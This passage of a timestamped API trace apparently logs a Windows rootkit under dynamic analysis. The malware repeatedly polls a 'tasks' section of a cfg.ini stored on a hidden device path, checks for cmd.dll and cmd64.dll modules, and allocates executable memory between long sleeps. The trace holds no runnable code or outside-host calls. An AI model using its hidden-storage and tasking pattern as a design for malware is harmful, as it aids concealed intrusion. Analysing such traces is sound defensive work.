(in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.690] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.690] KeLeaveCriticalRegion () [0122.690] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.690] KeEnterCriticalRegion () [0122.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.690] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.690] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.690] KeLeaveCriticalRegion () [0122.690] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.690] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.690] KeEnterCriticalRegion () [0122.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.690] ExFreePoolWithTag (P=0xfffffa8003be6aa0, Tag=0x0) [0122.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.690] KeLeaveCriticalRegion () [0122.690] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.690] ReleaseMutex (hMutex=0xf0) returned 1 [0122.691] Sleep (dwMilliseconds=0x927c0) [0122.705] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.705] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.705] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.705] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.705] KeEnterCriticalRegion () [0122.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.705] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.705] IdePortDispatch () returned 0x103 [0122.705] KeWaitForMutexObject () returned 0x0 [0122.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.705] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.705] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.705] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.705] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.705] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6300 [0122.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.705] KeLeaveCriticalRegion () [0122.705] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.705] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.705] KeEnterCriticalRegion () [0122.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.705] KeLeaveCriticalRegion () [0122.705] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.705] KeEnterCriticalRegion () [0122.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.705] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.705] IdePortDispatch () returned 0x103 [0122.706] KeWaitForMutexObject () returned 0x0 [0122.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.706] KeLeaveCriticalRegion () [0122.706] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.706] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.706] KeEnterCriticalRegion () [0122.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.706] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0c000 [0122.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.706] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.706] IdePortDispatch () returned 0x103 [0122.706] KeWaitForMutexObject () returned 0x0 [0122.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.706] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.706] IdePortDispatch () returned 0x103 [0122.706] KeWaitForMutexObject () returned 0x0 [0122.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.707] KeLeaveCriticalRegion () [0122.707] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.707] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.707] KeEnterCriticalRegion () [0122.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.707] KeLeaveCriticalRegion () [0122.707] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.707] KeEnterCriticalRegion () [0122.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.707] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.707] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.707] KeLeaveCriticalRegion () [0122.707] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.707] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.707] KeEnterCriticalRegion () [0122.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.707] ExFreePoolWithTag (P=0xfffffa8003be6300, Tag=0x0) [0122.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.707] KeLeaveCriticalRegion () [0122.707] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.708] ReleaseMutex (hMutex=0xf0) returned 1 [0122.708] Sleep (dwMilliseconds=0x927c0) [0122.717] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.717] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.723] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.723] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.723] KeEnterCriticalRegion () [0122.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.723] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.723] IdePortDispatch () returned 0x103 [0122.723] KeWaitForMutexObject () returned 0x0 [0122.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.723] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.723] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.723] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.723] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.723] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7a10 [0122.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.723] KeLeaveCriticalRegion () [0122.723] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.723] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.723] KeEnterCriticalRegion () [0122.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.723] KeLeaveCriticalRegion () [0122.723] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.723] KeEnterCriticalRegion () [0122.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.724] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.724] IdePortDispatch () returned 0x103 [0122.724] KeWaitForMutexObject () returned 0x0 [0122.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.724] KeLeaveCriticalRegion () [0122.724] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.724] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.724] KeEnterCriticalRegion () [0122.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.724] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d11000 [0122.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.724] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.724] IdePortDispatch () returned 0x103 [0122.724] KeWaitForMutexObject () returned 0x0 [0122.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.724] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.724] IdePortDispatch () returned 0x103 [0122.724] KeWaitForMutexObject () returned 0x0 [0122.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.725] KeLeaveCriticalRegion () [0122.725] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.725] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.725] KeEnterCriticalRegion () [0122.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.725] KeLeaveCriticalRegion () [0122.725] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.725] KeEnterCriticalRegion () [0122.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.725] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.725] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.725] KeLeaveCriticalRegion () [0122.725] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.725] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.725] KeEnterCriticalRegion () [0122.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.725] ExFreePoolWithTag (P=0xfffffa8003be7a10, Tag=0x0) [0122.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.725] KeLeaveCriticalRegion () [0122.725] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.726] ReleaseMutex (hMutex=0xf0) returned 1 [0122.726] Sleep (dwMilliseconds=0x927c0) [0122.740] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.740] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.740] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.740] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.740] KeEnterCriticalRegion () [0122.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.740] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.740] IdePortDispatch () returned 0x103 [0122.740] KeWaitForMutexObject () returned 0x0 [0122.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.740] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.740] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.740] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.740] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.740] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5e50 [0122.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.740] KeLeaveCriticalRegion () [0122.740] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.740] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.740] KeEnterCriticalRegion () [0122.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.741] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.741] KeLeaveCriticalRegion () [0122.741] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.741] KeEnterCriticalRegion () [0122.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.741] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.741] IdePortDispatch () returned 0x103 [0122.741] KeWaitForMutexObject () returned 0x0 [0122.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.741] KeLeaveCriticalRegion () [0122.741] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.741] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.741] KeEnterCriticalRegion () [0122.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d16000 [0122.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.741] IdePortDispatch () returned 0x103 [0122.741] KeWaitForMutexObject () returned 0x0 [0122.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.742] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.742] IdePortDispatch () returned 0x103 [0122.742] KeWaitForMutexObject () returned 0x0 [0122.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.742] KeLeaveCriticalRegion () [0122.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.742] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.742] KeEnterCriticalRegion () [0122.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.742] KeLeaveCriticalRegion () [0122.742] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.742] KeEnterCriticalRegion () [0122.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.742] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.742] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7cc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.742] KeLeaveCriticalRegion () [0122.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.743] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.743] KeEnterCriticalRegion () [0122.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.743] ExFreePoolWithTag (P=0xfffffa8003be5e50, Tag=0x0) [0122.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.743] KeLeaveCriticalRegion () [0122.743] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.743] ReleaseMutex (hMutex=0xf0) returned 1 [0122.743] Sleep (dwMilliseconds=0x927c0) [0122.756] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.756] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.756] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.756] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: 